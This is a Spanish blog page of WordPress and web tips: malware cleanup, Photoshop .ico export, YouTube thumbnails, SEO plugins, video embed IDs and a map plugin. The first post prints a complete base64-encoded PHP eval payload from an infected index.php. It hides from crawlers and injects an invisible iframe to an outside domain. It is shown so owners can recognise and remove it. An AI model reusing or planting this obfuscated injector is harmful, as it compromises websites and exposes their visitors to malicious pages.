Iframe en WordPress, posible malware

wordpress logo logotipo con mantenimiento

Quizás hayas notado en tu blog de WordPress, que arriba hay una franja de separación entre tu blog y la barra del navegador, tal y como tiene este blog. Esto puede ser por diseño (como en este blog) o por una instalación de un malware.

Esta franja, si ves el código fuente de la página verá un código parecido a este, justo en la primera línea de tu blog antes de la cabecera:

  < iframe src="web maliciosa" width="1" height="1"

Esto en la mayoría de los casos es debido a un ataque malicioso. Otra forma de comprobar si te están inyectando código a tu WordPress, es editar el archivo index.php del directorio raiz de tu blog. Si encuentras la siguiente expresión o parecida, estarás infectado.

 < ?php eval( base64_decode ('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1c2VyX2FnZW50X3RvX 2ZpbHRlciA9IGFycmF5KCdib3QnLCdzcGlkZXInLCdzcHlkZXInLCdjcmF3bCcsJ3ZhbGlkYXRvcicsJ3NsdXJwJywnZG9jb21vJywneWFuZGV4JywnbWFpbC5ydScsJ2FsZXhhLmNvbScsJ3Bvc3RyYW5rLmNvbScsJ2h0bWxkb2MnLCd3ZWJjb2xsYWdlJywnYmxvZ3B1bHNlLmNvbScsJ2Fub255bW91c2Uub3JnJywnMTIzNDUnLCdodHRwY2xpZW50JywnYnV6enRyYWNrZXIuY29tJywnc25vb3B5JywnZmVlZHRvb2xzJywnYXJpYW5uYS5saWJlcm8uaXQnLCdpbnRlcm5ldHNlZXIuY29tJywnb3BlbmFjb29uLmRlJywncnJycnJycnJyJywnbWFnZW50JywnZG93bmxvYWQgbWFzdGVyJywnZHJ1cGFsLm9yZycsJ3ZsYyBtZWRpYSBwbGF5ZXInLCd2dnJraW1zanV3bHkgbDN1Zm1qcngnLCdzem4taW1hZ2UtcmVzaXplcicsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ3dvcmRwcmVzcycsJ3Jzc3JlYWRlcicsJ215YmxvZ2xvZyBhcGknKTsNCiRzdG9wX2lwc19tYXNrcyA9IGFycmF5KA0KCWFycmF5KCIyMTYuMjM5LjMyLjAiLCIyMTYuMjM5LjYzLjI1NSIpLA0KCWFycmF5KCI2NC42OC44MC4wIiAgLCI2NC42OC44Ny4yNTUiICApLA0KCWFycmF5KCI2Ni4xMDIuMC4wIiwgICI2Ni4xMDIuMTUuMjU1IiksDQoJYXJyYXkoIjY0LjIzMy4xNjAuMCIsIjY0LjIzMy4xOTEuMjU1IiksDQoJYXJyYXkoIjY2LjI0OS42NC4wIiwgIjY2LjI0OS45NS4yNTUiKSwNCglhcnJheSgiNzIuMTQuMTkyLjAiLCAiNzIuMTQuMjU1LjI1NSIpLA0KCWFycmF5KCIyMDkuODUuMTI4LjAiLCIyMDkuODUuMjU1LjI1NSIpLA0KCWFycmF5KCIxOTguMTA4LjEwMC4xOTIiLCIxOTguMTA4LjEwMC4yMDciKSwNCglhcnJheSgiMTczLjE5NC4wLjAiLCIxNzMuMTk0LjI1NS4yNTUiKSwNCglhcnJheSgiMjE2LjMzLjIyOS4xNDQiLCIyMTYuMzMuMjI5LjE1MSIpLA0KCWFycmF5KCIyMTYuMzMuMjI5LjE2MCIsIjIxNi4zMy4yMjkuMTY3IiksDQoJYXJyYXkoIjIwOS4xODUuMTA4LjEyOCIsIjIwOS4xODUuMTA4LjI1NSIpLA0KCWFycmF5KCIyMTYuMTA5Ljc1LjgwIiwiMjE2LjEwOS43NS45NSIpLA0KCWFycmF5KCI2NC42OC44OC4wIiwiNjQuNjguOTUuMjU1IiksDQoJYXJyYXkoIjY0LjY4LjY0LjY0IiwiNjQuNjguNjQuMTI3IiksDQoJYXJyYXkoIjY0LjQxLjIyMS4xOTIiLCI2NC40MS4yMjEuMjA3IiksDQoJYXJyYXkoIjc0LjEyNS4wLjAiLCI3NC4xMjUuMjU1LjI1NSIpLA0KCWFycmF5KCI2NS41Mi4wLjAiLCI2NS41NS4yNTUuMjU1IiksDQoJYXJyYXkoIjc0LjYuMC4wIiwiNzQuNi4yNTUuMjU1IiksDQoJYXJyYXkoIjY3LjE5NS4wLjAiLCI2Ny4xOTUuMjU1LjI1NSIpLA0KCWFycmF5KCI3Mi4zMC4wLjAiLCI3Mi4zMC4yNTUuMjU1IiksDQoJYXJyYXkoIjM4LjAuMC4wIiwiMzguMjU1LjI1NS4yNTUiKQ0KCSk7DQokbXlfaXAybG9uZyA9IHNwcmludGYoIiV1IixpcDJsb25nKCRfU0VSVkVSWydSRU1PVEVfQUREUiddKSk7DQpmb3JlYWNoICggJHN0b3BfaXBzX21hc2tzIGFzICRJUHMgKSB7DQoJJGZpcnN0X2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1swXSkpOyAkc2Vjb25kX2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1sxXSkpOw0KCWlmICgkbXlfaXAybG9uZyA+PSAkZmlyc3RfZCAmJiAkbXlfaXAybG9uZyA8PSAkc2Vjb25kX2QpIHskYm90ID0gVFJVRTsgYnJlYWs7fQ0KfQ0KZm9yZWFjaCAoJHVzZXJfYWdlbnRfdG9fZmlsdGVyIGFzICRib3Rfc2lnbil7DQoJaWYgIChzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCAkYm90X3NpZ24pICE9PSBmYWxzZSl7JGJvdCA9IHRydWU7IGJyZWFrO30NCn0NCmlmICghJGJvdCkgew0KZWNobyAnPGRpdiBzdHlsZT0icG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtMTk5OXB4OyB0b3A6IC0yOTk5cHg7Ij48aWZyYW1lIHNyYz0iaHR0cDovL2x6cXFhcmtsLmNvLmNjL1FRa0ZCd1FHRFFNR0J3WUFFa2NKQlFjRUFBY0RBQU1CQnc9PSIgd2lkdGg9IjIiIGhlaWdodD0iMiI+PC9pZnJhbWU+PC9kaXY+JzsNCn0='));

Quitar esta línea evitará que te inyecte código en tus páginas, pero es una solución temporal.

Lo mejor que puedes hacer es seguir estos pasos:

  1. Realiza una copia de todos los archivos de WordPress.
  2. Borra completamente los archivos de tu blog del hosting.
  3. Instala un WordPress nuevo en tu hosting.
  4. Sube el archivo wp-config.php de la copia del paso 1 al nuevo blog.
  5. Ahora deberías de poder conectar al blog, que conecta a la base de datos. Por lo que deberías de poder entrar en la sección de administración. (no entres en el apartado de plugins, o probablemente se te desactivarán)
  6. Instala el mismo tema que tenías instalado anteriormente.
  7. Ahora copia cada uno en su sitio desde la copia del paso 1, los siguientes directorios.
  • ./wp-content/themes/tu tema
  • ./wp-content/plugins
  • ./wp-content/uploads
  • Cualquier otro directorio que estimes que necesitas para volver a poner tu wordpress en marcha tal y como estaba.

Ahora ya tienes otra vez tu blog en marcha.

Para asegurarnos de que no nos vuelve a suceder, instalaremos el plugin de seguridad Wp-Security Scan

 

Como crear un archivo .ico con Photoshop

Logotipo de PhotoShop o icono para logo

Si necesitas crear archivos .ico, por ejemplo para crear un favicon y pornerlo en WordPress, y tienes Photoshop, lo puedes hacer de manera muy fácil.

Simplemente te tienes que descargar el plugin para Photoshop (versión 64-bits o 32-bits, según tu ordenador y Photoshop y MAC o Windows) y seguir estos pasos:

  1. 64-bit Windows (Vista/Windows 7):
    • Cierra Photoshop;
    • Pon el plugin en C:\Program Files (x86)\Adobe\Photoshop CS\Plug-Ins\File Formats.
    • Si tienes un sistema Windows 64-bits y estás usuando Photoshop CS4 o superior, descarga la versión de 64-bit y ponla en C:\Program Files\Adobe\Adobe Photoshop CS4 (64 Bit)\Plug-ins\File Formats.
    • donde poner el plugin de formato ico en photoshop
  2. Vuélvelo a abrir y ya lo tendrás listo, al darle a guardar como, podrás seleccionar en la lista de desplegables el formato de icono .ico. !sólo para las imágenes de 16 pixeles X 16 pixeles!

Seleccionar formato .ico en photoshop

Con esto ya podrás guardar tus imágenes en .ico.

Como hace un thumbnail de un video de YouTube

Si necesitáramos capturar una imagen de un video de Youtube, lo podemos hacer con el método tradicional pulsando la tecla Imp Pant durante la visualización del vídeo y luego pegarla en algún editor de imagen, paint, photoshop, etc.

Otro método mucho menos costoso y que además nos permitirar general un thumbnail si nos hiciera falta, sería, sólo si utilizamos WordPress, usar el plugin YouTube thumbnail plugin para WordPress o el plugin jQuery Youtube plugin jYoutube.

El último método y para mi el más sencillo, es utilizar las propias imagenes que todos los vídeos de Youtube generan automátimcamente.

Existen algunos plugins para conseguir imágenes de los vídeos, como el o el jQuery Youtube plugin jYoutube, pero no creo que sea necesario utilizarlos por lo menos para tareas simples, ya que el propio YouTube genera automáticamente 4 capturas del vídeo, para utilizarlas como thumbnails o capturas de pantalla:

Si tenemos el vídeo, p.j. de Lady Gaga y Beyoncé http://www.youtube.com/watch?v=EVBsypHzF3U

Las capturas automáticas son:

  • http://img.youtube.com/vi/EVBsypHzF3U/0.jpg
  • http://img.youtube.com/vi/EVBsypHzF3U/1.jpg
  • http://img.youtube.com/vi/EVBsypHzF3U/2.jpg
  • http://img.youtube.com/vi/EVBsypHzF3U/3.jpg

Y quedarían así:

Lady Gaga y Beyonce

Lady Gaga Beyonce thumnail

Lady Gaga Beyonde thumnail

LAdy GAga thumnail Beyonce

Como saber el Pagerank o Alexa page rank de una página Web

¿Que siginifca las siglas SEO? En inglés sería “Search Engine Optimization” y traducido literalmente “Optimización para Motores de Búsqueda“.

seo plugin para firefox search status page rank alexa

Si te intresa el posicionamiento web, de las páginas que visitas hay un plugin para firefox que es esencial para este fin. El plugin en cuestión se llama Searchstatus y lo podrás encontrar aquí: http://www.quirk.biz/searchstatus/ o en el buscador de complementos de firefox.

Una vez instalado podremos ver en la parte inferior derecha de nuestro navegador firefox, los valores de PageRank y Alexa Page Rank que tiene la página que estamos viendo.

Pluging para firefox seo page rank alexa

Como poner videos de youtube, metacafe, megavideo en tu WordPress

wordpress logo logotipo con mantenimiento

Si quieres insertar videos en tu WordPress de cualquier página de reproduccion de videos, tipo Youtube, Metacafe, Megavideo, etc puedes utilizar este plugin: WordPress Video Plugin

Una vez instalado, para su posterior utilización deberás usar los siguientes códigos diferentes para cada sitio de videos.

123video.nl

Para la dirección http://123video.nl/playvideos.asp?MovieID=132273 el id es 132273 ?

Aniboom

Para la dirección http://www.aniboom.com/Player.aspx?v=1905 el id es 1905 ?

Blip.tv

Encontrarás el id, cuando tu copies el código del video para un reproductor, por ejemplo: src=“http://blip.tv/play/gvFH8rZBgvNh” para la dirección http://blip.tv/file/1865111, el id en este caso es gvFH8rZBgvNh ?

Break

Es lo mismo que en Blip.tv
http://embed.break.com/MjI2NTkx ?

Brightcove

Para la direcciónhttp://link.brightcove.com/services/player/bcpid416542555?bctid=24776439001, el id es 24776439001 ?

Cellfish

Para la dirección http://cellfish.cellfish.com/multimedia/97749 el id es 97749 ?

Clipfish

For the URI http://www.clipfish.de/player.php?videoid=NDE2fDM0 el id es NDE2fDM0 ?

Clipsyndicate
[Clipsyndicate id width height]
Para la dirección http://www.clipsyndicate.com/publish/video/613132/raw_video_tornado_destroys_iowa_bank?wpid=0 el id es 613132 ?

Collegehumor
o con tamaño configurable
Para la dirección http://www.collegehumor.com/video:1727961 el id es 1727961 ? o con tamaño

ComedyCentral.com


Para la direcciónhttp://www.thedailyshow.com/video/index.jhtml?videoId=122364&title=meaningful-stuff el id es 122364 ?

current.com

Para la dirección http://current.com/items/89891774/supernews_twouble_with_twitters.htm el id es 89891774 ?

D1G.com

Para la dirección http://www.d1g.com/video/show/1912587 el id es 1912587 ?

Dailymotion

Substituye el “id” con el dailymotion id o la dirección del video (ambas funcionan). Para la dirección http://www.dailymotion.com/de/featured/video/x5fgu1_buffedshow-86-von-buffedde_videogames el id es x5fgu1 ?

dotSUB

Para la direcciónhttp://dotsub.com/view/7774e495-71c5-4a64-83d9-28675d835d90 el id es 7774e495-71c5-4a64-83d9-28675d835d90 ?

Facebook

Para la dirección http://www.facebook.com/video/video.php?v=1036384564453 el id es 1036384564453 ?

Flickr Video

Para la dirección http://www.flickr.com/photos/[email protected]/3599198949/in/pool-alongphoto el id es 3599198949 ?

Funny or Die

Para la dirección http://www.funnyordie.com/videos/3b1e3750e2 el id es 3b1e3750e2 ?

GameTrailers

Para la dirección http://gametrailers.com/player/22271.html el id es 22271 ?

GameVideos

Para la dirección http://www.gamevideos.com/video/id/13217 el id es 13217 ?

Generic Flash

Para la dirección http://www.messe-ideen.de/upload/magische-zauberkugel.swf el código es [flash http://www.messe-ideen.de/upload/magische-zauberkugel.swf

Glumbert

Para la dirección http://www.glumbert.com/media/spidermate el id es spidermate ?

GoalVideoz

Para la dirección http://www.goalvideoz.com/watch/2674-Portugal-vs-Turkey-2nd-Half-Goals-and-Highlights-Euro-2008/ el id es 2674 ?

Google Video

Para la dirección http://video.google.de/videoplay?docid=-5024787479139933029 el id es -5024787479139933029 ?

Grouper

Para la dirección http://grouper.com/video/MediaDetails.aspx?id=1759771&ml=o%3D0%26t%3D1%26fx%3D%26fp%3D2%26fmx%3D3%26rnd%3D3 el id es 1759771 ?

Guba

Para la dirección http://www.guba.com/watch/3000093083?duration_step=0 …el id es 3000093083 ?

Hamburg1 Video

Para la dirección http://www.hamburg1video.de/video/iLyROoaftT81.html el id es iLyROoaftT81 ? o con tamaño

IFILM

Para la dirección http://www.ifilm.com/video/2878371 el id es 2878371 ?

Jumpcut
o con tamaño configurable Para la dirección http://jumpcut.com/view/?id=774D8BB8E95911DA897BFEAF976EA1AD el id es 774D8BB8E95911DA897BFEAF976EA1AD ? o con tamaño

Kewego

Para la dirección http://www.kewego.de/video/iLyROoaftxTc.html el id es iLyROoaftxTc ?

Last.fm

Encontrarás el id, cuando tu copies el código del video para un reproductor, por ejemplo: param name=“flashvars” value=“embed=true&creator=Kettcar&title=Landungsbr%C3%BCcken+raus&uniqueName=Landungsbr%C3%BCcken+raus&albumArt=http://cdn.last.fm/coverart/130×130/1422004.jpg&album=Du+Und+Wieviel+Von+Deinen+Freunden&duration=257&image=http://panther3.last.fm/storable/videocap/15582/0/original.jpg&FSSupport=true” the id is: embed=true&creator=Kettcar&title=Landungsbr%C3%BCcken+raus&uniqueName=Landungsbr%C3%BCcken+raus&albumArt=http://cdn.last.fm/coverart/130×130/1422004.jpg&album=Du+Und+Wieviel+Von+Deinen+Freunden&duration=257&image=http://panther3.last.fm/storable/videocap/15582/0/original.jpg&FSSupport=trueS ?

LiveLeak

Para la dirección http://www.liveleak.com/view?i=8d3_1181986751 el id es 8d3_1181986751 ?

MEGAVIDEO

Para la dirección http://www.megavideo.com/?v=Q0G3U6F7 ? el id es Q0G3U6F7 ?

Metacafe

Para la dirección http://www.metacafe.com/watch/427425/boulot/ el id es 427425 ?

Mncast.com

Busca en el código una vez insertado. Busca por “movieID”. Para la dirección http://www.mncast.com/?4223906 el id es 10005583920080301233042

Mojvideo.com

Para la dirección http://www.mojvideo.com/video-bmw-club-obsotelje/480f35d6e4c046353a58 el id es 480f35d6e4c046353a58 ?

MSN

Para la dirección http://video.msn.com/video.aspx?vid=71e6a055-7b68-4fc3-880a-1bcffe1433b5 el id es 71e6a055-7b68-4fc3-880a-1bcffe1433b5 ?

MyspaceTV

Para la dirección http://vids.myspace.com/index.cfm?fuseaction=vids.individual&VideoID=11315224 el id es 11315224 ?

MyVideo

Para la dirección http://www.myvideo.de/watch/366128 el id es 366128 ?

Novamov

Para la dirección http://www.novamov.com/video/oaqqzqx1czqg5 el id es oaqqzqx1czqg5 ?

OnSMASH.com

Para la dirección http://videos.onsmash.com/v/3X8RTKaK6C3hya7q el id es 3X8RTKaK6C3hya7q ?

reason.tv

Para la dirección http://reason.tv/video/show/157.html el id es 157 ?

ReelzChannel

Para la dirección http://www.reelzchannel.com/video/32097/indiana-jones-4-trailer el id es 32097 ?

Revver

Para la dirección http://one.revver.com/watch/174453 el id es 174453 ?

screencast-o-matic.com
Para la dirección http://www.screencast-o-matic.com/watch/cii3lYtk el id es cii3lYtk ?

Sevenload

Para la dirección http://sevenload.de/videos/8A6KASF-arif-playback el id es 8A6KASF ?

slideshare.com

Subsituye el id con el correspondiente valor de la dirección del objeto. Por ejemplo con la dirección http://www.slideshare.net/jboutelle/slidecasting-101 haz click en “post to WordPress” y tendras un código como este [slideshare id=82836&doc=slidecasting-1013073

smotri.com

Para la dirección http://smotri.com/video/view/?id=v630387892f el id es v630387892f ?

Sumo.tv

Encontrarás el id, cuando tu copies el código del video para un reproductor, por ejemplo: param name=“flashVars” value=“file=00/01/200710049164669307.flv&autostart=true” aquí encontraras el Id: 00/01/200710049164669307 ?

teachertube

Para en contrar el id mira aquí: [flashvideo width=“425” height=“350” filename=“http://www.teachertube.com/flvideo/11926.flv” /] el id es 11926 ?

Trilulilu

Para la dirección http://www.trilulilu.ro/keskifa/d219752d57c01e el id es d219752d57c01e ?

Tu.tv

Encontrarás el id, cuando tu copies el código del video para un reproductor, por ejemplo: …tutvweb.swf?kpt=aHR0cDovL3d3dy50dS50di92aWRlb3Njb2RpL2MvaS9jaWNsaXN0YS1hYnVzaXZvLmZsdg==&x…, aquí encontraras el id: aHR0cDovL3d3dy50dS50di92aWRlb3Njb2RpL2MvaS9jaWNsaXN0YS1hYnVzaXZvLmZsdg ?

UnCut

Para la dirección http://uncutvideo.aol.com/videos/16ea5688332b7df5a5dc5ba6a99f4d3d el id es 16ea5688332b7df5a5dc5ba6a99f4d3d ?

Veoh

Para la dirección http://www.veoh.com/videos/v849683cxDDQm7y el id es v849683cxDDQm7y ?

Videotube

Para la dirección http://www.videotube.de/ci/page/player/527 el id es 527 ?

Vimeo

Para la dirección http://www.vimeo.com/clip:138920 el id es 138920 ?

Vsocial

Para la dirección http://www.vsocial.com/video/?d=106492 the id is 106492 ?

Wandeo

Para la dirección just copy the code from the box: “on my wordpress blog” ?

wat.tv

http://www.wat.tv/video/ouverture-mondial-presse-automoto-z9po_z1vx_.html ? Encontrarás el id, cuando tu copies el código del video para un reproductor, por ejemplo: <param name=“movie” value=“http://www.wat.tv/swf2/313547fagwuFO1645548” /> aquí encontrarás el id 313547fagwuFO1645548 ?

Yahoo! Video

Encontrarás el id, cuando tu copies el código del video para un reproductor, por ejemplo: flashvars=’id=3253032&emailUrl=http%3A%2F%2…etc…, aquí encontrás el id: 3253032 ?

Youreporter

Para la dirección http://www.youreporter.it/view_video.php?viewkey=dac8bc8ba637133b2c65 el id es dac8bc8ba637133b2c65 ?

Youtube
o con tamaño personalizado
For the URI http://www.youtube.com/watch?v=8DHOZW_8OPk el id es 8DHOZW_8OPk ? o con tamaño

Youtube Playlist

Para la dirección http://de.youtube.com/view_play_list?p=EF1145687A8B929B el id es EF1145687A8B929B ?

Como poner un mapa en WordPress

wordpress logo con mapaSi quieres insertar un mapa en WordPress, hay un plugin que es muy intuitivo a la par que útil. Se llama UMapper. Te permite usar mapas de varios proveedores, como google maps, bing maps, openstreetmaps, etc, con todas sus posibilidades.

1.- Lo primero que tenemos que hacer es descargar el plugin, que será un archivo .zip.

2.- Lo subimos en la zona de plugins de la administración WordPress, y lo instalamos.

3.- Este plugin nos requiere una clave API que la podremos conseguir simplemente registrándonos en la página de UMaper, desde el link que tenemos en el plugin instalado. Una vez registrados en la página en la parte personal tenemos la clave api de este estilo API key: fa82313413244093ae143f9ecd86712a, y la introduciremos en la parte del plugin que nos la pide.

4.- Ahora al añadir una nueva entrada nos aparecerá el icono de UMapper umaper icono y al pinchar en él nos aparecerá el plugin para crear nuestro mapa e insertarlo en el post.

Con esto tendremos un mapa asociado en nuestro WordPress y tendremos el problema resuelto.